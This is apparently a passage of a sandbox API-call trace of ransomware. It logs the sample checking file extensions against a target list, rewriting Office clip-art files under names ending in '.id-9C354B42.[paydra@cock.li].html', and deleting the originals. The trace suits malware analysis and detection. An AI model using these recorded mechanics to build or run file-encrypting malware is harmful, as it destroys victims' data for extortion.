Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0055.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0055.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0055.585] lstrlenW (lpString=".doc") returned 4 [0055.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.585] lstrlenW (lpString=".docx") returned 5 [0055.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.585] lstrlenW (lpString=".pdf") returned 4 [0055.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.585] lstrlenW (lpString=".xls") returned 4 [0055.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.585] lstrlenW (lpString=".xlsx") returned 5 [0055.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.585] lstrlenW (lpString=".ppt") returned 4 [0055.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0055.585] lstrlenW (lpString=".zip") returned 4 [0055.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.585] lstrlenW (lpString=".rar") returned 4 [0055.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.586] lstrlenW (lpString=".bz2") returned 4 [0055.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.586] lstrlenW (lpString=".7z") returned 3 [0055.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0055.586] lstrlenW (lpString=".dbf") returned 4 [0055.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0055.586] lstrlenW (lpString=".1cd") returned 4 [0055.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0055.586] lstrlenW (lpString=".jpg") returned 4 [0055.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.111] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.112] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.268] GetLastError () returned 0x0 [0057.268] ReadFile (in: hFile=0x198, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x386c, lpOverlapped=0x0) returned 1 [0057.270] WriteFile (in: hFile=0x214, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x3870, lpOverlapped=0x0) returned 1 [0057.271] ReadFile (in: hFile=0x198, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.271] WriteFile (in: hFile=0x214, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.271] SetEndOfFile (hFile=0x214) returned 1 [0057.271] CloseHandle (hObject=0x214) returned 1 [0057.271] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.271] SetEndOfFile (hFile=0x198) returned 1 [0057.272] CloseHandle (hObject=0x198) returned 1 [0057.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0057.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0057.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0057.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0057.314] lstrlenW (lpString=".doc") returned 4 [0057.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.314] lstrlenW (lpString=".docx") returned 5 [0057.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.314] lstrlenW (lpString=".pdf") returned 4 [0057.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.314] lstrlenW (lpString=".xls") returned 4 [0057.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.315] lstrlenW (lpString=".xlsx") returned 5 [0057.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.315] lstrlenW (lpString=".ppt") returned 4 [0057.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0057.315] lstrlenW (lpString=".zip") returned 4 [0057.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.315] lstrlenW (lpString=".rar") returned 4 [0057.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.315] lstrlenW (lpString=".bz2") returned 4 [0057.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.315] lstrlenW (lpString=".7z") returned 3 [0057.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0057.315] lstrlenW (lpString=".dbf") returned 4 [0057.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0057.315] lstrlenW (lpString=".1cd") returned 4 [0057.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0057.315] lstrlenW (lpString=".jpg") returned 4 [0057.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.559] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1736) returned 1 [0057.559] CloseHandle (hObject=0x234) returned 1 [0057.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0057.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.559] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.559] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0057.560] GetLastError () returned 0x0 [0057.560] ReadFile (in: hFile=0x234, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x6c8, lpOverlapped=0x0) returned 1 [0057.561] WriteFile (in: hFile=0x240, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0057.562] ReadFile (in: hFile=0x234, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.562] WriteFile (in: hFile=0x240, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.562] SetEndOfFile (hFile=0x240) returned 1 [0057.563] CloseHandle (hObject=0x240) returned 1 [0057.563] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.563] SetEndOfFile (hFile=0x234) returned 1 [0057.564] CloseHandle (hObject=0x234) returned 1 [0057.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0057.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0057.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0057.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0057.565] lstrlenW (lpString=".doc") returned 4 [0057.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.565] lstrlenW (lpString=".docx") returned 5 [0057.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.565] lstrlenW (lpString=".pdf") returned 4 [0057.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.565] lstrlenW (lpString=".xls") returned 4 [0057.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.565] lstrlenW (lpString=".xlsx") returned 5 [0057.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.565] lstrlenW (lpString=".ppt") returned 4 [0057.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0057.565] lstrlenW (lpString=".zip") returned 4 [0057.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.565] lstrlenW (lpString=".rar") returned 4 [0057.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.565] lstrlenW (lpString=".bz2") returned 4 [0057.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.565] lstrlenW (lpString=".7z") returned 3 [0057.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0057.565] lstrlenW (lpString=".dbf") returned 4 [0057.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0057.565] lstrlenW (lpString=".1cd") returned 4 [0057.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0057.565] lstrlenW (lpString=".jpg") returned 4 [0057.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.566] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=12482) returned 1 [0057.566] CloseHandle (hObject=0x234) returned 1 [0057.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0057.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.566] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.566] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0057.567] GetLastError () returned 0x0 [0057.567] ReadFile (in: hFile=0x234, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0057.588] WriteFile (in: hFile=0x240, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0057.589] ReadFile (in: hFile=0x234, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.589] WriteFile (in: hFile=0x240, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.590] SetEndOfFile (hFile=0x240) returned 1 [0058.658] CloseHandle (hObject=0x240) returned 1 [0058.659] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.659] SetEndOfFile (hFile=0x234) returned 1 [0058.659] CloseHandle (hObject=0x234) returned 1 [0058.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0058.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0058.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0058.884] lstrlenW (lpString=".doc") returned 4 [0058.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.890] lstrlenW (lpString=".docx") returned 5 [0058.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.890] lstrlenW (lpString=".pdf") returned 4 [0058.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.890] lstrlenW (lpString=".xls") returned 4 [0058.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.890] lstrlenW (lpString=".xlsx") returned 5 [0058.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.896] lstrlenW (lpString=".ppt") returned 4 [0058.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0058.902] lstrlenW (lpString=".zip") returned 4 [0058.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.908] lstrlenW (lpString=".rar") returned 4 [0058.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.908] lstrlenW (lpString=".bz2") returned 4 [0058.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.908] lstrlenW (lpString=".7z") returned 3 [0058.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0058.908] lstrlenW (lpString=".dbf") returned 4 [0058.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0058.908] lstrlenW (lpString=".1cd") returned 4 [0058.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0058.915] lstrlenW (lpString=".jpg") returned 4 [0058.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.915] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.915] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.916] GetLastError () returned 0x0 [0058.916] ReadFile (in: hFile=0x1c8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x2576, lpOverlapped=0x0) returned 1 [0058.917] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0058.918] ReadFile (in: hFile=0x1c8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.918] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.918] SetEndOfFile (hFile=0x180) returned 1 [0058.918] CloseHandle (hObject=0x180) returned 1 [0058.919] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.919] SetEndOfFile (hFile=0x1c8) returned 1 [0058.919] CloseHandle (hObject=0x1c8) returned 1 [0058.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0058.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.920] lstrlenW (lpString=".doc") returned 4 [0058.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.920] lstrlenW (lpString=".docx") returned 5 [0058.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.920] lstrlenW (lpString=".pdf") returned 4 [0058.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.920] lstrlenW (lpString=".xls") returned 4 [0058.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.920] lstrlenW (lpString=".xlsx") returned 5 [0058.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.920] lstrlenW (lpString=".ppt") returned 4 [0058.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.920] lstrlenW (lpString=".zip") returned 4 [0058.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.920] lstrlenW (lpString=".rar") returned 4 [0058.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.920] lstrlenW (lpString=".bz2") returned 4 [0058.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.920] lstrlenW (lpString=".7z") returned 3 [0058.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.921] lstrlenW (lpString=".dbf") returned 4 [0058.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.921] lstrlenW (lpString=".1cd") returned 4 [0058.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.921] lstrlenW (lpString=".jpg") returned 4 [0058.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.921] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=27552) returned 1 [0058.921] CloseHandle (hObject=0x1c8) returned 1 [0058.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0058.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0058.922] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.922] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.922] GetLastError () returned 0x0 [0058.922] ReadFile (in: hFile=0x1c8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0058.926] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0058.927] ReadFile (in: hFile=0x1c8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.927] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 